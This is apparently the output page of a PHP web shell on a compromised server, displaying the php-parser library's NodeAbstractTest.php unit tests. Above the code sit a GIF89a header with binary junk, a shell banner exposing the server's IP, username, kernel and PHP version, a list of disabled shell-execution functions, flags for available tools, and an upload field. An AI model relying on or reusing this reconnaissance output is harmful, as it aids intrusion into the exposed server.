GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 3.129.42.59 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/ferhatgenc/public_html/vendor/nikic/php-parser/test/PhpParser/ |
Upload File : |
<?php declare(strict_types=1); namespace PhpParser; use PHPUnit\Framework\TestCase; class DummyNode extends NodeAbstract { public $subNode1; public $subNode2; public function __construct($subNode1, $subNode2, $attributes) { parent::__construct($attributes); $this->subNode1 = $subNode1; $this->subNode2 = $subNode2; } public function getSubNodeNames() : array { return ['subNode1', 'subNode2']; } // This method is only overwritten because the node is located in an unusual namespace public function getType() : string { return 'Dummy'; } } class NodeAbstractTest extends TestCase { public function provideNodes() { $attributes = [ 'startLine' => 10, 'endLine' => 11, 'startTokenPos' => 12, 'endTokenPos' => 13, 'startFilePos' => 14, 'endFilePos' => 15, 'comments' => [ new Comment('// Comment' . "\n"), new Comment\Doc('/** doc comment */'), ], ]; $node = new DummyNode('value1', 'value2', $attributes); $node->notSubNode = 'value3'; return [ [$attributes, $node], ]; } /** * @dataProvider provideNodes */ public function testConstruct(array $attributes, Node $node) { $this->assertSame('Dummy', $node->getType()); $this->assertSame(['subNode1', 'subNode2'], $node->getSubNodeNames()); $this->assertSame(10, $node->getLine()); $this->assertSame(10, $node->getStartLine()); $this->assertSame(11, $node->getEndLine()); $this->assertSame(12, $node->getStartTokenPos()); $this->assertSame(13, $node->getEndTokenPos()); $this->assertSame(14, $node->getStartFilePos()); $this->assertSame(15, $node->getEndFilePos()); $this->assertSame('/** doc comment */', $node->getDocComment()->getText()); $this->assertSame('value1', $node->subNode1); $this->assertSame('value2', $node->subNode2); $this->assertObjectHasAttribute('subNode1', $node); $this->assertObjectHasAttribute('subNode2', $node); $this->assertObjectNotHasAttribute('subNode3', $node); $this->assertSame($attributes, $node->getAttributes()); $this->assertSame($attributes['comments'], $node->getComments()); return $node; } /** * @dataProvider provideNodes */ public function testGetDocComment(array $attributes, Node $node) { $this->assertSame('/** doc comment */', $node->getDocComment()->getText()); $comments = $node->getComments(); array_pop($comments); // remove doc comment $node->setAttribute('comments', $comments); $this->assertNull($node->getDocComment()); array_pop($comments); // remove comment $node->setAttribute('comments', $comments); $this->assertNull($node->getDocComment()); } public function testSetDocComment() { $node = new DummyNode(null, null, []); // Add doc comment to node without comments $docComment = new Comment\Doc('/** doc */'); $node->setDocComment($docComment); $this->assertSame($docComment, $node->getDocComment()); // Replace it $docComment = new Comment\Doc('/** doc 2 */'); $node->setDocComment($docComment); $this->assertSame($docComment, $node->getDocComment()); // Add docmment to node with other comments $c1 = new Comment('/* foo */'); $c2 = new Comment('/* bar */'); $docComment = new Comment\Doc('/** baz */'); $node->setAttribute('comments', [$c1, $c2]); $node->setDocComment($docComment); $this->assertSame([$c1, $c2, $docComment], $node->getAttribute('comments')); } /** * @dataProvider provideNodes */ public function testChange(array $attributes, Node $node) { // direct modification $node->subNode = 'newValue'; $this->assertSame('newValue', $node->subNode); // indirect modification $subNode =& $node->subNode; $subNode = 'newNewValue'; $this->assertSame('newNewValue', $node->subNode); // removal unset($node->subNode); $this->assertObjectNotHasAttribute('subNode', $node); } /** * @dataProvider provideNodes */ public function testIteration(array $attributes, Node $node) { // Iteration is simple object iteration over properties, // not over subnodes $i = 0; foreach ($node as $key => $value) { if ($i === 0) { $this->assertSame('subNode1', $key); $this->assertSame('value1', $value); } elseif ($i === 1) { $this->assertSame('subNode2', $key); $this->assertSame('value2', $value); } elseif ($i === 2) { $this->assertSame('notSubNode', $key); $this->assertSame('value3', $value); } else { throw new \Exception; } $i++; } $this->assertSame(3, $i); } public function testAttributes() { /** @var $node Node */ $node = $this->getMockForAbstractClass(NodeAbstract::class); $this->assertEmpty($node->getAttributes()); $node->setAttribute('key', 'value'); $this->assertTrue($node->hasAttribute('key')); $this->assertSame('value', $node->getAttribute('key')); $this->assertFalse($node->hasAttribute('doesNotExist')); $this->assertNull($node->getAttribute('doesNotExist')); $this->assertSame('default', $node->getAttribute('doesNotExist', 'default')); $node->setAttribute('null', null); $this->assertTrue($node->hasAttribute('null')); $this->assertNull($node->getAttribute('null')); $this->assertNull($node->getAttribute('null', 'default')); $this->assertSame( [ 'key' => 'value', 'null' => null, ], $node->getAttributes() ); $node->setAttributes( [ 'a' => 'b', 'c' => null, ] ); $this->assertSame( [ 'a' => 'b', 'c' => null, ], $node->getAttributes() ); } public function testJsonSerialization() { $code = <<<'PHP' <?php // comment /** doc comment */ function functionName(&$a = 0, $b = 1.0) { echo 'Foo'; } PHP; $expected = <<<'JSON' [ { "nodeType": "Stmt_Function", "byRef": false, "name": { "nodeType": "Identifier", "name": "functionName", "attributes": { "startLine": 4, "endLine": 4 } }, "params": [ { "nodeType": "Param", "type": null, "byRef": true, "variadic": false, "var": { "nodeType": "Expr_Variable", "name": "a", "attributes": { "startLine": 4, "endLine": 4 } }, "default": { "nodeType": "Scalar_LNumber", "value": 0, "attributes": { "startLine": 4, "endLine": 4, "kind": 10 } }, "attributes": { "startLine": 4, "endLine": 4 } }, { "nodeType": "Param", "type": null, "byRef": false, "variadic": false, "var": { "nodeType": "Expr_Variable", "name": "b", "attributes": { "startLine": 4, "endLine": 4 } }, "default": { "nodeType": "Scalar_DNumber", "value": 1, "attributes": { "startLine": 4, "endLine": 4 } }, "attributes": { "startLine": 4, "endLine": 4 } } ], "returnType": null, "stmts": [ { "nodeType": "Stmt_Echo", "exprs": [ { "nodeType": "Scalar_String", "value": "Foo", "attributes": { "startLine": 5, "endLine": 5, "kind": 1 } } ], "attributes": { "startLine": 5, "endLine": 5 } } ], "attributes": { "startLine": 4, "comments": [ { "nodeType": "Comment", "text": "\/\/ comment\n", "line": 2, "filePos": 6, "tokenPos": 1 }, { "nodeType": "Comment_Doc", "text": "\/** doc comment *\/", "line": 3, "filePos": 17, "tokenPos": 2 } ], "endLine": 6 } } ] JSON; $parser = new Parser\Php7(new Lexer()); $stmts = $parser->parse(canonicalize($code)); $json = json_encode($stmts, JSON_PRETTY_PRINT); $this->assertEquals(canonicalize($expected), canonicalize($json)); } }